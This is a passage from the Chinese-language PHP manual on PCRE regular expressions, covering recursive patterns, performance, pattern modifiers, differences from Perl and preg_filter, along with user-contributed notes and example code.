var_export(preg_match($pattern, '255.200.45.67')); // 0 (false)
var_export(preg_match($pattern, '255.123.45.200')); // 0 (false)
?>

The correct pattern is:
<?php
$pattern = '/^(?<octet>25[0-5]|2[0-4]\d|[01]?\d?\d)(?:\.(?P>octet)){3}$/';
?>

Note that the first two alternatives are mutually exclusive so their order is unimportant. The third alternative, however, is not mutually exclusive but it will now only match when the first two fail.

<?php
var_export(preg_match($pattern, '255.123.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.200.45.67')); // 1 (true)
var_export(preg_match($pattern, '255.123.45.200')); // 1 (true)
?>
Onyxagargaryll 03-Mar-2011 04:49
Here's an approach to create a multidimensional array according to a string's delimiters, i.e. we want to analyze...

"some text (aaa(b(c1)(c2)d)e)(test) more text"

... as multidimensional layers.

<?php
$string = "some text (aaa(b(c1)(c2)d)e)(test) more text";

/*
 * Analyses the string multidimensionally by its opening and closing delimiters
 */
function recursiveSplit($string, $layer) {
    preg_match_all("/\((([^()]*|(?R))*)\)/",$string,$matches);
    // iterate thru matches and continue recursive split
    if (count($matches) > 1) {
        for ($i = 0; $i < count($matches[1]); $i++) {
            if (is_string($matches[1][$i])) {
                if (strlen($matches[1][$i]) > 0) {
                    echo "<pre>Layer ".$layer.":   ".$matches[1][$i]."</pre><br />";
                    recursiveSplit($matches[1][$i], $layer + 1);
                }
            }
        }
    }
}

recursiveSplit($string, 0);

/*

Output:

Layer 0:   aaa(b(c1)(c2)d)e

Layer 1:   b(c1)(c2)d

Layer 2:   c1

Layer 2:   c2

Layer 0:   test
*/
?>
jonah at nucleussystems dot com 21-Dec-2010 06:18
An unexpected behavior came up that introduced a very hard-to-track bug in some code I was working on.  It has to do with the preg_match_all PREG_OFFSET_CAPTURE flag.  When you capture the offset of a sub-match, it's offset is given _relative_ to it's parent.  For example, if you extract the value between < and > recursively in this string:

<this is a <string>>

You will get an array that looks like this:

Array
(
    [0] => Array
    (
        [0] => Array
        (
            [0] => <this is a <string>>
            [1] => 0
        )
        [1] => Array
        (
            [0] => this is a <string>
            [1] => 1
        )
    )
    [1] => Array
    (
        [0] => Array
        (
            [0] => <string>
            [1] => 0
        )
        [1] => Array
        (
            [0] => string
            [1] => 1
        )
    )
)

Notice that the offset in the last index is one, not the twelve we expected.  The best way to solve this problem is to run over the results with a recursive function, adding the parent's offset.
emanueledelgrande at email dot it 09-Jan-2010 03:47
The recursion in regular expressions is the only way to allow the parsing of HTML code with nested tags of indefinite depth.
It seems it's not yet a spreaded practice; not so much contents are available on the web regarding regexp recursion, and until now no user contribute notes have been published on this manual page.
I made several tests with complex patterns to get tags with specific attributes or namespaces, studying the recursion of a subpattern only instead of the full pattern.
Here's an example that may power a fast LL parser with recursive descent (http://en.wikipedia.org/wiki/Recursive_descent_parser):

$pattern = "/<([\w]+)([^>]*?) (([\s]*\/>)| (>((([^<]*?|<\!\-\-.*?\-\->)| (?R))*)<\/\\1[\s]*>))/xsm";

The performances of a preg_match or preg_match_all function call over an avarage (x)HTML document are quite fast and may drive you to chose this way instead of classic DOM object methods, which have a lot of limits and are usually poor in performance with their workarounds, too.
I post a sample application in a brief function (easy to be turned into OOP), which returns an array of objects:

<?php
// test function:
function parse($html) {
    // I have split the pattern in two lines not to have long lines alerts by the PHP.net form:
    $pattern = "/<([\w]+)([^>]*?)(([\s]*\/>)|".
    "(>((([^<]*?|<\!\-\-.*?\-\->)|(?R))*)<\/\\1[\s]*>))/sm";
    preg_match_all($pattern, $html, $matches, PREG_OFFSET_CAPTURE);
    $elements = array();

    foreach ($matches[0] as $key => $match) {
        $elements[] = (object)array(
            'node' => $match[0],
            'offset' => $match[1],
            'tagname' => $matches[1][$key][0],
            'attributes' => isset($matches[2][$key][0]) ? $matches[2][$key][0] : '',
            'omittag' => ($matches[4][$key][1] > -1), // boolean
            'inner_html' => isset($matches[6][$key][0]) ? $matches[6][$key][0] : ''
        );
    }
    return $elements;
}

// random html nodes as example:
$html = <<<EOD
<div id="airport">
    <div geo:position="1.234324,3.455546" class="index">
        <!-- comment test:
        <div class="index_top" />
        -->
        <div class="element decorator">
                <ul class="lister">
                    <li onclick="javascript:item.showAttribute('desc');">
                        <h3 class="outline">
                            <a href="http://php.net/manual/en/regexp.reference.recursive.php" onclick="openPopup()">Link</a>
                        </h3>
                        <div class="description">Sample description</div>
                    </li>
                </ul>
        </div>
        <div class="clean-line"></div>
    </div>
</div>
<div id="omittag_test" rel="rootChild" />
EOD;

// application:
$elements = parse($html);

if (count($elements) > 0) {
    echo "Elements found: <b>".count($elements)."</b><br />";

    foreach ($elements as $element) {
        echo "<p>Tpl node: <pre>".htmlentities($element->node)."</pre>
        Tagname: <tt>".$element->tagname."</tt><br />
        Attributes: <tt>".$element->attributes."</tt><br />
        Omittag: <tt>".($element->omittag ? 'true' : 'false')."</tt><br />
        Inner HTML: <pre>".htmlentities($element->inner_html)."</pre></p>";
    }
}
?>


性能

模式中一些项可能比其他一些更加高效。 比如使用 [aeiou] 这样的字符类会比可选路径 (a|e|i|o|u) 高效。 一般而言， 用尽可能简单的构造描述需求是最高效的。 Jeffrey Friedl 书(精通正则表达式)中包含了很多关于正则表达式性能的讨论。

当一个模式以 .* 开始并且设置了 PCRE_DOTALL 选项时，模式通过PCRE隐式锚定， 因为它可以匹配字符串的开始。然而，如果 PCRE_DOTALL 没有设置，PCRE 不能做这个优化，因为.元字符不能匹配换行符，如果目标字符串包含换行符， 模式可能会从一个换行符后面开始匹配，而不是最开始位置。 比如，模式 (.*) second 匹配目标字符串 "first\nand second"(\n 是一个换行符)第一个捕获子组结果是 "and"。为了这样做， PCRE 尝试从目标字符串中每个换行符后开始匹配。

如果你使用模式匹配没有换行符的目标字符串， 可以通过设置 PCRE_DOTALL 或以 ^.* 开始的模式明确指示锚定以获取最佳性能。 这样节省了 PCRE 沿目标字符串扫描查找换行符重新开始的时间。

小心模式中的无限重复嵌套。这在应用到不匹配字符串时可能会导致运行时间很长。 考虑模式片段 (a+)*

这个模式可以有 33 种方式匹配 "aaaa"， 并且这个数字会随着字符串的长度的增加迅速增加. (*重复可以匹配0,1,2,3,4次, 并且除了0外每种情况+都有不同次数的匹配对应)。 当模式的剩余部分导致整个匹配失败的时候， PCRE原则上回尝试每种可能的变化， 这将会非常耗时。

对于一些简单的情况的优化是像 (a+)*b 这样紧接着使用原文字符串.。 在着手正式匹配工作之前，PCRE 检查目标字符串后面是否有 "b" 字符， 如果没有就立即失败。然而当紧接着没有原文字符的时候这个优化是不可用的。 你可以比较观察 (a+)*\d 和上面模式的行为差异。 前者在应用到整行的 "a" 组成的字符串时几乎是立即报告失败， 而后者在目标字符串长于 20 个字符时，时间消耗就相当可观。

User Contributed Notes

There are no user contributed notes for this page.


模式修饰符

下面列出了当前可用的 PCRE 修饰符。括号中提到的名字是 PCRE 内部这些修饰符的名称。 模式修饰符中的空格，换行符会被忽略，其他字符会导致错误。

i (PCRE_CASELESS)
如果设置了这个修饰符，模式中的字母会进行大小写不敏感匹配。
m (PCRE_MULTILINE)
默认情况下，PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行)， "行首"元字符 (^) 仅匹配字符串的开始位置， 而"行末"元字符 ($) 仅匹配字符串末尾， 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后，"行首"和"行末"就会匹配目标字符串中任意换行符之前或之后，另外， 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符，或者模式中没有出现 ^ 或 $，设置这个修饰符不产生任何影响。
s (PCRE_DOTALL)
如果设置了这个修饰符，模式中的点号元字符匹配所有字符，包含换行符。如果没有这个 修饰符，点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符，而不依赖于这个修饰符的设置。
x (PCRE_EXTENDED)
如果设置了这个修饰符，模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略， 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略。 这个修饰符 等同于 perl 中的 /x 修饰符，使被编译模式中可以包含注释。 注意：这仅用于数据字符。 空白字符 还是不能在模式的特殊字符序列中出现，比如序列 (?( 引入了一个条件子组(译注: 这种语法定义的 特殊字符序列中如果出现空白字符会导致编译错误。 比如(?(就会导致错误)。
A (PCRE_ANCHORED)
如果设置了这个修饰符，模式被强制为"锚定"模式，也就是说约束匹配使其仅从 目标字符串的开始位置搜索。这个效果同样可以使用适当的模式构造出来，并且 这也是 perl 种实现这种模式的唯一途径。
D (PCRE_DOLLAR_ENDONLY)
如果这个修饰符被设置，模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置，当字符串以一个换行符结尾时， 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m，这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。
S
当一个模式需要多次使用的时候，为了得到匹配速度的提升，值得花费一些时间 对其进行一些额外的分析。如果设置了这个修饰符，这个额外的分析就会执行。当前， 这种对一个模式的分析仅仅适用于非锚定模式的匹配(即没有单独的固定开始字符)。
U (PCRE_UNGREEDY)
这个修饰符逆转了量词的"贪婪"模式。 使量词默认为非贪婪的，通过量词后紧跟? 的方式可以使其成为贪婪的。这和 perl 是不兼容的。 它同样可以使用 模式内修饰符设置 (?U)进行设置， 或者在量词后以问号标记其非贪婪(比如.*?)。

Note:

在非贪婪模式，通常不能匹配超过 pcre.backtrack_limit 的字符。

X (PCRE_EXTRA)
这个修饰符打开了 PCRE 与 perl 不兼容的附件功能。模式中的任意反斜线后就 ingen 一个 没有特殊含义的字符都会导致一个错误，以此保留这些字符以保证向后兼容性。 默认情况下，在 perl 中，反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文。 当前没有其他特性由这个修饰符控制。
J (PCRE_INFO_JCHANGED)
内部选项设置(?J)修改本地的PCRE_DUPNAMES选项。允许子组重名， (译注：只能通过内部选项设置，外部的 /J 设置会产生错误。) 自 PHP 7.2.0 起，也能支持 J 修饰符。
u (PCRE_UTF8)
此修正符打开一个与 Perl 不兼容的附加功能。 模式和目标字符串都被认为是 UTF-8 的。 无效的目标字符串会导致 preg_* 函数什么都匹配不到； 无效的模式字符串会导致 E_WARNING 级别的错误。 5 字节和 6 字节的 UTF-8 字符序列以无效字符序列对待。
n (PCRE_NO_AUTO_CAPTURE)
使用此修饰符不会捕获简单的 (xyz) 组。只有像 (?<name>xyz) 这样的命名组才会捕获。这仅影响要捕获的组，仍然可以使用编号的子模式引用，并且匹配数组仍将包含编号的结果。

User Contributed Notes

Hayley Watson 30-Jun-2020 01:01
Starting from 7.3.0, the 'S' modifier has no effect; this analysis is now always done by the PCRE engine.
Anonymous 22-Jul-2019 12:37
A warning about the /i modifier and POSIX character classes:
If you're using POSIX character classes in your regex that indicate case such as [:upper:] or [:lower:] in combination with the /i modifier, then in PHP < 7.3 the /i modifier will take precedence and effectively make both those character classes work as [:alpha:], but in PHP >= 7.3 the character classes overrule the /i modifier.
Wirek 23-Feb-2018 12:05
An important addendum (with new $pat3_2 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end (or at the beginning) of any line even without the multiple lines mode (/m) or meta-character assertions ($ or ^).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?) of default configuration option for meta-character assertions (^ and $) at compile time of PCRE.
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat3_2='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected, but '/(*ANYCRLF)\w$/mi' is more straightforward in use anyway
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat3_2, $str, $m4);
echo $str."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n3_2 !!! $pat3_2 ($r): ".print_r($m4[0], true);
// Note the difference between the two very helpful escape sequences in $pat3 and $pat3_2 (\R) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3_2 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 01:18
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
damian dot driscoll at gmail dot com 14-Sep-2017 10:15
The PCRE_INFO_JCHANGED modifier works in version 5.6.31 but not in 5.6.16, which generates an 'unknown modifier J' warning.
arash dot dalir at gmail dot com 22-Aug-2017 11:54
the PCRE_INFO_JCHANGED modifier is apparently not accepted as a global option (after the closing delimiter) in PHP versions <= 5.4 (not checked in PHP 5.5) but allowed in PHP 5.6 (also not checked in PHP 7.X)

The following pattern doesn't work in PHP 5.4, but it works in PHP 5.6:

<?php
//test.php
preg_match_all('/(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/J', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
Warning: preg_match_all(): Unknown modifier 'J' in test.php on line 3
NULL
--------------
output PHP 5.6:
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>

in order to resolve this issue in PHP 5.4, one can use the (?J) pattern modifier, which indicates the pattern (from that point forward) allows duplicate names for subpatterns.

code which works in PHP 5.4:
<?php

preg_match_all('/(?J)(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
array(4) {
    [0]=> array(1) { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
--------------
output in PHP 5.6 (the same as with /J):
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>
Daniel Klein 13-Feb-2012 11:40
If the _subject_ contains utf-8 sequences the 'u' modifier should be set, otherwise a pattern such as /./ could match a utf-8 sequence as two to four individual ASCII characters. It is not a requirement, however, as you may have a need to break apart utf-8 sequences into single bytes. Most of the time, though, if you're working with utf-8 strings you should use the 'u' modifier.

If the subject doesn't contain any utf-8 sequences (i.e. characters in the range 0x00-0x7F only) but the pattern does, as far as I can work out, setting the 'u' modifier would have no effect on the result.
phpman at crustynet dot org dot uk 08-Apr-2011 08:03
The description of the "u" flag is a bit misleading. It suggests that it is only required if the pattern contains UTF-8 characters, when in fact it is required if either the pattern or the subject contain UTF-8. Without it, I was having problems with preg_match_all returning invalid multibyte characters when given a UTF-8 subject string.

It's fairly clear if you read the documentation for libpcre:

       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
       support in the code, and, in addition,  you  must  call  pcre_compile()
       with  the  PCRE_UTF8  option  flag,  or the pattern must start with the
       sequence (*UTF8). When either of these is the case,  both  the  pattern
       and  any  subject  strings  that  are matched against it are treated as
       UTF-8 strings instead of strings of 1-byte characters.

[from http://www.pcre.org/pcre.txt]
michal dot kocarek at brainbox dot cz 18-May-2009 04:49
In case you're wondering, what is the meaning of "S" modifier, this paragraph might be useful:

When "S" modifier is set, PHP calls the pcre_study() function from the PCRE API before executing the regexp. Result from the function is passed directly to pcre_exec().

For more information about pcre_study() and "Studying the pattern" check the PCRE manual on http://www.pcre.org/pcre.txt

PS: Note that function names "pcre_study" and "pcre_exec" used here refer to PCRE library functions written in C language and not to any PHP functions.
ebarnard at marathonmultimedia dot com 06-Feb-2007 02:35
When adding comments with the /x modifier, don't use the pattern delimiter in the comments. It may not be ignored in the comments area. Example:

<?php
$target = 'some text';
if(preg_match('/
                e # Comments here
               /x',$target)) {
    print "Target 1 hit.\n";
}
if(preg_match('/
                e # /Comments here with slash
               /x',$target)) {
    print "Target 1 hit.\n";
}
?>

prints "Target 1 hit." but then generates a PHP warning message for the second preg_match():

Warning:  preg_match() [function.preg-match]: Unknown modifier 'C' in /ebarnard/x-modifier.php on line 11
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru 03-Nov-2005 04:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org 15-Jul-2005 07:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
    'Valid ASCII' => "a",
    'Valid 2 Octet Sequence' => "\xc3\xb1",
    'Invalid 2 Octet Sequence' => "\xc3\x28",
    'Invalid Sequence Identifier' => "\xa0\xa1",
    'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
    'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
    'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

    'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
    'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
    'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
    'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
    'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
    'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
    echo "$name\n";
    preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

    preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
    echo "$name: ";

    if ( count($ar) == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched {$ar[0]}\n";
    }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
    preg_match_all('/./u', $str, $ar);
    echo "$name: ";

    $num_utf8_chars = count($ar[0]);
    if ( $num_utf8_chars == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched $num_utf8_chars character\n";
    }

}
?>


与 perl 的不同之处

这里讨论的不同之处是与 perl 5.005相比的。

  1. 尽管可以使用字符类编译 pcre 进行替代，但仍然默认使用 c 库函数 isspace() 判定一个字符是否是空白字符。通常 isspace() 匹配空格、换页符、换行符、 回车符、水平制表符和垂直制表符。 Perl5 不再将垂直制表符包括到空白字符集中。 \v 这个转义实际上在很长时间都没有得到 perl 文档的承认。然而，这个字符自身 被认为是一个空白字符至少是在 5.002 以上。 在 5.004 和 5.005 它不和 \s 匹配。
  2. PCRE 不允许前瞻断言的量词修饰，perl 允许这样做，但是这并不是你想象的那样。 例如，(?!a){3}并不意味着接下来 3 个字符不是 a，而是断言下一个字符不是 a 并进行了 3 次断言.
  3. 捕获子组发生在消极前瞻断言中时被计算在内，但是在偏移向量中并没有设置它们的条目。 Perl 从断言失败之前匹配得到的这些模式匹配结果中设置了它的数值变量(因此是成功的)， 但这也仅在消极前瞻断言只有一个分支的时候。
  4. 尽管目标字符串中支持二进制 0 字符，但是它们在模式字符串中是不允许的，因为它们是通过普通的 c 字符串传递的，而 c 字符串是以 0 字符结束的。转义序列"\x00"可以在模式中表示二进制 0 字符。
  5. 不支持下面的 perl 转义序列：\l、\u、 \L、 \U。 实际上这些都是通过 perl 一般的字符串处理来实现 的，而不是模式匹配引擎的一部分。
  6. 不支持 perl 的 \G 断言，因为它与单模式匹配没有关系。
  7. 很显然，PCRE不支持(?{code}) 和 (??{code})的结构，但是它支持递归模式。
  8. 在 perl 5.005_2 中档设置为捕获字符串的模式中有部分重复的时候会有一些古怪的现象发生， 比如: /^(a(b)?)+$/ 捕获 aba 的时候， $2 会被设置为 b，然而，如果把模式修改为/^(aa(bb)?)+$/， 用aabbaa去匹配，$2讲不会得到匹配结果。 如果将模式修改为 /^(aa(b(b))?)+$/， $2 和 $3 又都能 得到匹配结果。在 perl 5.004 中 $2 在这几种情况下都能够得到匹配结果，并且 pcre 也是这样。如果 未来 perl 修改为一致那就不同了。pcre 可能接下来会修改.
  9. 还有一个没有解决的差异是 perl 5.005_02中，模式 /^(a)?(?(1)a|b)+$/ 会匹配字符串 "a"， 而 pcre 中不会，然而，perl 和 pcre 中 /^(a)?a/ 匹配 "a" 都会得到相同的结果，$1 都未被设置。

  10. PCRE 提供了一些对 perl 正则表达式的扩展：

    1. 虽然后瞻断言要求必须匹配固定长度的字符串，然而后瞻断言的每个可选分支 还是可以使用不同长度的字符串的，而perl 5.005 中要求它们必须拥有同样 的长度。
    2. 如果设置了 PCRE_DOLLAR_ENDONLY 并且没有设置 PCRE_MULTILINE， 元字符 $ 仅仅匹配字符串的末尾(而不是某个换行符之前)。
    3. 如果设置了 PCRE_EXTRA， 反斜线后紧跟一个没有特殊含义的字符讲会导致错误。
    4. 如果设置了 PCRE_UNGREEDY， 贪婪量词修饰被逆转，也就是说，默认它们都是非贪婪的了，但如果紧跟一个问号它们就会变成 贪婪的。(译注：既完全将贪婪模式逆转。)

User Contributed Notes

There are no user contributed notes for this page.


PCRE 函数

Table of Contents

  • preg_filter — 执行一个正则表达式搜索和替换
  • preg_grep — 返回匹配模式的数组条目
  • preg_last_error_msg — Returns the error message of the last PCRE regex execution
  • preg_last_error — 返回最后一个PCRE正则执行产生的错误代码
  • preg_match_all — 执行一个全局正则表达式匹配
  • preg_match — 执行匹配正则表达式
  • preg_quote — 转义正则表达式字符
  • preg_replace_callback_array — Perform a regular expression search and replace using callbacks
  • preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换
  • preg_replace — 执行一个正则表达式的搜索和替换
  • preg_split — 通过一个正则表达式分隔字符串

User Contributed Notes

theking2 at king dot ma 30-Oct-2023 10:19
Writing regexp can be tedious and error prone. Test yours on https://regex101.com/ to make sure you haven't missed anything . It even colour codes example strings.
Svoop 10-Feb-2009 05:43
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
stronk7 at moodle dot org 13-Sep-2007 01:42
One comment about 5.2.x and the pcre.backtrack_limit:

Note that this setting wasn't present under previous PHP releases and the behaviour (or limit) under those releases was, in practise,  higher so all these PCRE functions were able to "capture" longer strings.

With the arrival of the setting, defaulting to 100000 (less than 100K), you won't be able to match/capture strings over that size using, for example "ungreedy" modifiers.

So, in a lot of situations, you'll need to raise that (very small IMO) limit.

The worst part is that PHP simply won't match/capture those strings over pcre.backtrack_limit and will it be 100% silent about that (I think that throwing some NOTICE/WARNING if raised could help a lot to developers).

There is a lot of people suffering this changed behaviour from I've read on forums, bugs and so on).

Hope this note helps, ciao :-)
steve at stevedix dot de 20-Jul-2004 05:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.   During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)


执行一个正则表达式搜索和替换

  • ? PCRE 函数
  • preg_grep ?
  • PHP Manual
  • PCRE 函数
  • 执行一个正则表达式搜索和替换

preg_filter

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

preg_filter — 执行一个正则表达式搜索和替换

说明

preg_filter(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

preg_filter()等价于preg_replace() 除了它仅仅返回(可能经过转化)与目标匹配的结果. 这个函数怎样工作的更详细信息请阅读 preg_replace()文档.

参数

preg_replace() 文档中描述了参数。

返回值

如果subject是一个数组，返回一个数组， 其他情况返回一个字符串。

如果没有找到匹配或者发生了错误，当subject是数组 时返回一个空数组，其他情况返回null。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

示例

Example #1 比较preg_filter() 和preg_replace()的示例

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$pattern = array('/\d/', '/[a-z]/', '/[1a]/');
$replace = array('A:$0', 'B:$0', 'C:$0');

echo "preg_filter returns\n";
print_r(preg_filter($pattern, $replace, $subject));

echo "preg_replace returns\n";
print_r(preg_replace($pattern, $replace, $subject));
?>

以上示例会输出：

preg_filter returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [7] => A:4
)
preg_replace returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [5] => A
    [6] => B
    [7] => A:4
)

